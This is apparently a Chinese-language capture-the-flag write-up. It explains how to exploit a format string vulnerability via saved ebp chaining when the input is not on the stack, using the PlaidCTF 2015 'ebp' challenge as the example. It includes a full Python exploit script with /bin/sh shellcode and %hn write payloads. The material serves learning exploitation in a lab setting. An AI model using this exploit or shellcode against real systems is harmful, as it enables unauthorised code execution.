[PWN]fsb with stack frame

0x00:

格式化字符串漏洞出现的时间很早了,偶然在前一段时间学到了一个其他的利用姿势,通过栈桢结构去利用格式化字符串漏洞。

原文链接:http://phrack.org/issues/59/7.html 


0x01:

在函数调用的时候,会开辟一段空间去给当前函数使用,做法是通过抬高栈来实现(sub esp,0x**),为了执行函数后能正确的返回,栈基指针ebp是指向上一个函数的ebp的,也就是被调用函数ebp指向调用函数ebp。

[PWN]fsb with stack frame_第1张图片

大概的样子就如图了,简单的写一个demo就可以发现这个。

  对于格式化字符串来说,本质还是任意地址的读写,可以用来修改got、ret_addr去控制程序流程,还可以 多次利用格式串,把shellcode一个字节一个字节写到一个 w+x 的内存地址去,然后修改got跳过去执行。

但是如果格式化字符串不在栈中呢?如果不在栈中,那么就不能通过 %*$ 这样的方式去定位,增大了利用难度,在看了phrack的文章,了解到了一种姿势:假如要把 sleep@got 修改成 system@got ,可以先利用格

式串把sleep@got先写到当前ebp指向,然后再次利用,把这个改掉,因为都是在 got表中,所以只需要改最后两个字节(x86)。 这样的话就实现了 不在栈中格式串的利用了。

 

0x02:实例

  拿plaidctf-2015的一个pwn来演示。

[PWN]fsb with stack frame_第2张图片

bin文件的基本信息如图,分别运行和在ida中分析。

[PWN]fsb with stack frame_第3张图片

明显的FSB在 make_response 函数中。

  但是,用户的输入是在 0804A040  这个地址,这个地址是在.bss段的(栈中看不到,但是好处是不随机) 思路大概就是,把shellcode放在这个地方,然后修改 make_response 的ret addr 到这个地址去,然后就可以拿到shell了。

  1. leak 栈地址  找到ret addr 

    2. 写到上一个ebp去

      3. 修改ret addr 到  0804A040 

 

0x03: exp 如下

#!/usr/bin/python
#--by muhe--

from zio import *

#target='./ebp'
target = ('127.0.0.1',10001)
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))

shellcode = ("\x6a\x0b\x58\x99\x52\x68\x2f\x2f"
             "\x73\x68\x68\x2f\x62\x69\x6e\x54"
             "\x5b\x52\x53\x54\x59\x0f\x34")
vuln_addr  =0x0804a480

#leak stack addr
io.writeline('%4$p')
#raw_input()
leak_addr = int(io.read_until('\n'),16)
ret_addr = (leak_addr-0x1c) & 0xffff
print ret_addr

#overwrite 
#raw_input()
p1 = "%"+str(ret_addr)+"x%"+str(4)+"$hn"
io.writeline(p1)
io.read_until('\n')
#get shell
##raw_input()
p2 = shellcode+"%"+str((vuln_addr & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn"
io.writeline(p2)
io.interact()

  

socat 搭建起来,exp打一发。

[PWN]fsb with stack frame_第4张图片

 

 

0x04: 参考

http://phrack.org/issues/59/7.html 

http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/

你可能感兴趣的:([PWN]fsb with stack frame)